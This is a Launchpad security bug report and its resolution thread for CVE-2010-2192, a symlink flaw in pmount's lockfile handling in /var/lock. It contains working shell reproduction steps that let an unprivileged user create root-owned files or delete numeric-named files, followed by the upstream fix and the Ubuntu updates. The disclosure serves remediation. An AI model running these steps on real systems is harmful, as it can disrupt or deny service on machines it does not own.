Symlink attacks possible with pmount

Bug #574809 reported by Dan Rosenberg
260
This bug affects 1 person
Affects Status Importance Assigned to Milestone
pmount (Ubuntu)
Won't Fix
Undecided
Unassigned
Dapper
Won't Fix
Undecided
Unassigned
Hardy
Fix Released
Undecided
Unassigned
Jaunty
Fix Released
Undecided
Unassigned
Karmic
Fix Released
Undecided
Unassigned
Lucid
Fix Released
Undecided
Unassigned
Maverick
Won't Fix
Undecided
Unassigned

Bug Description

Binary package hint: pmount

pmount makes use of /var/lock, which is world-writable with a sticky bit, for the creation of lockfiles. For example, when I execute:

$ pmount --lock /dev/sr0 1

pmount creates a new directory at /var/lock/pmount_dev_sr0, and creates a file "1" in that folder (to represent a lockfile for pid 1). On running with the --unlock flag, this file and directory are removed. These operations are done as root, presumably so multiple instances of pmount run by different users do not conflict, and so users cannot remove pmount locks created by other users.

If an unprivileged user creates this directory ahead of time, pmount won't complain (it may exist due to other previous lockfiles). If that user places a symbolic link with a numeric name in the directory pointing to an arbitrary location, then pmount can be invoked to create an empty root-owned file at that location, with 0644 permissions. You can reproduce as follows, assuming a pmount-able device at /dev/sr0:

$ mkdir /var/lock/pmount_dev_sr0
$ ln -s /etc/suid-debug /var/lock/pmount_dev_sr0/1
$ pmount --lock /dev/sr0 1
$ stat /etc/suid-debug

Alternately, this issue can be abused to delete any file on disk that has a numeric name from 1-65536. Simply create the empty directory, call pmount --lock with the desired file to delete, remove the directory with the new lockfile inside, replace the directory with a symlink to the parent directory of the file to be deleted, and call pmount --unlock.

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

Dan, I can confirm this, but I don't see that pmount is altering the contents of the file if it already exists. Eg:
$ cat /etc/foo
test
$ stat /etc/foo
  File: `/etc/foo'
  Size: 5 Blocks: 8 IO Block: 4096 regular file
Device: fb01h/64257d Inode: 135724 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2010-06-05 12:07:30.580581903 +0000
Modify: 2010-06-05 12:05:57.868006989 +0000
Change: 2010-06-05 12:05:57.868006989 +0000

$ mkdir /var/lock/pmount_dev_sr0
$ ls -ld /var/lock/pmount_dev_sr0/
drwxr-xr-x 2 jamie jamie 40 2010-06-05 12:12 /var/lock/pmount_dev_sr0/

$ ln -s /etc/foo /var/lock/pmount_dev_sr0/1
$ ls -l /var/lock/pmount_dev_sr0/1
lrwxrwxrwx 1 jamie jamie 8 2010-06-05 12:13 /var/lock/pmount_dev_sr0/1 -> /etc/foo

$ pmount --lock /dev/sr0 1

$ cat /etc/foo
test
$ stat /etc/foo
  File: `/etc/foo'
  Size: 5 Blocks: 8 IO Block: 4096 regular file
Device: fb01h/64257d Inode: 135724 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2010-06-05 12:07:30.580581903 +0000
Modify: 2010-06-05 12:05:57.868006989 +0000
Change: 2010-06-05 12:05:57.868006989 +0000

I think I would characterize this as a 'Low' issue. A local attacker in the 'plugdev' group on Ubuntu could create things like /forcefsck or maybe fiddle with files in /var to DoS applications (eg, sockets, named pipes, etc).

Changed in pmount (Ubuntu):
status: New → Confirmed
Revision history for this message
Jamie Strandboge (jdstrand) wrote :

(and additionally your observation about removing arbitrary files with a numeric name).

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

Dan, actually I can't reproduce the file delete on Lucid. I get:
$ pmount --unlock /dev/sr0 1
Error: do_unlock: could not remove lock directory: Not a directory
$ ls -l /var/lock
total 0
drwxr-xr-x 2 root root 40 2010-06-05 12:07 pmount
lrwxrwxrwx 1 jamie jamie 4 2010-06-05 12:49 pmount_dev_sr0 -> /tmp

What version were you testing?

Revision history for this message
Dan Rosenberg (dan-j-rosenberg) wrote :

I tested with pmount 0.9.20-2.

You're correct that you can't alter existing files - only create new files and delete numeric-named files. You can reproduce the deletion as follows:

root@Dan:~# touch /etc/1
root@Dan:~# stat /etc/1
  File: `/etc/1'
  Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 801h/2049d Inode: 2936455 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2010-06-05 09:53:12.000000000 -0400
Modify: 2010-06-05 09:53:12.000000000 -0400
Change: 2010-06-05 09:53:12.000000000 -0400
root@Dan:~# su drosenbe
drosenbe@Dan:/root$ cd /var/lock/
drosenbe@Dan:/var/lock$ mkdir pmount_dev_sr0
drosenbe@Dan:/var/lock$ pmount --lock /dev/sr0 1
drosenbe@Dan:/var/lock$ rm -rf pmount_dev_sr0/
drosenbe@Dan:/var/lock$ ln -s /etc/ pmount_dev_sr0
drosenbe@Dan:/var/lock$ pmount --unlock /dev/sr0 1
Error: do_unlock: could not remove lock directory: Not a directory
drosenbe@Dan:/var/lock$ stat /etc/1
stat: cannot stat `/etc/1': No such file or directory

I agree with the low severity of this issue - it's mostly just an annoyance.

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

Oh heh, duh. That is exactly what I did and the file *is* gone. I saw the error and forgot to check the file. :)

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

Email sent to Debian maintainer and vsec with a CRD of 2010-06-16.

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

This is now public.

visibility: private → public
Changed in pmount (Ubuntu):
status: Confirmed → Triaged
Revision history for this message
Jamie Strandboge (jdstrand) wrote :

This is CVE-2010-2192. Attached is the patch from upstream.

From upstream:
"The solution is very simple: put the locks in /var/lib/pmount-locks.
As /var/lib is not world-writable, there is no risk of a user
intercepting /var/lib/pmount-locks before pmount creates it. This is
what the attached patch does, and the best thing is that there won't
even be needs for postinst scripts with this solution."

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

Since the package referred to in this bug is in universe for supported releases (it is in main in 6.06 LTS, but official desktop support for Dapper has ended), it is community maintained. If someone is able, I suggest posting a debdiff for this issue. When a debdiff is available, members of the security team will review it and publish the package. See the following link for more information: https://wiki.ubuntu.com/SecurityTeam/UpdateProcedures

Revision history for this message
Vincent Fourmond (fourmond) wrote :

Here is the debdiff I've used for upload to Debian stable security. Adapting to Ubuntu is just a matter of changing the changelog; patches should apply cleanly to all versions of pmount I know of.

tags: added: patch
tags: added: patch-accepted-debian
Revision history for this message
Kees Cook (kees) wrote :

Maverick is not vulnerable to this flaw due to the link protections in the kernel.

Changed in pmount (Ubuntu Lucid):
status: New → Triaged
Changed in pmount (Ubuntu Jaunty):
status: New → Triaged
Changed in pmount (Ubuntu Karmic):
status: New → Triaged
Changed in pmount (Ubuntu Hardy):
status: New → Triaged
Changed in pmount (Ubuntu Dapper):
status: New → Triaged
Changed in pmount (Ubuntu Maverick):
status: Triaged → Won't Fix
Revision history for this message
Jamie Strandboge (jdstrand) wrote :

Removing ubuntu-security-sponsors since there are not debdiffs available for processing.

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

While pmount on Dapper is in main, it is no longer actively supported (Dapper desktop is EOL). Marking Won't Fix.

Changed in pmount (Ubuntu Dapper):
status: Triaged → Won't Fix
Revision history for this message
Jamie Strandboge (jdstrand) wrote :

Jaunty was fixed in 0.9.18-2+lenny1build0.9.04.1.

Changed in pmount (Ubuntu Jaunty):
status: Triaged → Fix Released
Changed in pmount (Ubuntu):
status: Triaged → Won't Fix
Revision history for this message
Jamie Strandboge (jdstrand) wrote :

Processed patch for hardy, karmic and lucid and uploaded to the ubuntu-security ppa.

Changed in pmount (Ubuntu Lucid):
status: Triaged → Fix Committed
Changed in pmount (Ubuntu Hardy):
status: Triaged → Fix Committed
Changed in pmount (Ubuntu Karmic):
status: Triaged → Fix Committed
Revision history for this message
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package pmount - 0.9.20-2ubuntu0.1

---------------
pmount (0.9.20-2ubuntu0.1) lucid-security; urgency=low

  * SECURITY UPDATE: 02-fix-CVE-2010-2192.dpatch to fix a security hole,
    referenced as CVE-2010-2192. Patch thanks to Vincent Fourmond (Debian).
    - LP: #574809
 -- Jamie Strandboge <email address hidden> Fri, 13 Aug 2010 13:58:47 -0500

Revision history for this message
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package pmount - 0.9.19-1ubuntu0.1

---------------
pmount (0.9.19-1ubuntu0.1) karmic-security; urgency=low

  * SECURITY UPDATE: 02-fix-CVE-2010-2192.dpatch to fix a security hole,
    referenced as CVE-2010-2192. Patch thanks to Vincent Fourmond (Debian).
    - LP: #574809
 -- Jamie Strandboge <email address hidden> Fri, 13 Aug 2010 13:57:54 -0500

Revision history for this message
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package pmount - 0.9.16-4ubuntu0.1

---------------
pmount (0.9.16-4ubuntu0.1) hardy-security; urgency=low

  * SECURITY UPDATE: 02-fix-CVE-2010-2192.dpatch to fix a security hole,
    referenced as CVE-2010-2192. Patch thanks to Vincent Fourmond (Debian).
    - LP: #574809
 -- Jamie Strandboge <email address hidden> Fri, 13 Aug 2010 13:55:17 -0500

Changed in pmount (Ubuntu Hardy):
status: Fix Committed → Fix Released
Changed in pmount (Ubuntu Karmic):
status: Fix Committed → Fix Released
Changed in pmount (Ubuntu Lucid):
status: Fix Committed → Fix Released
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.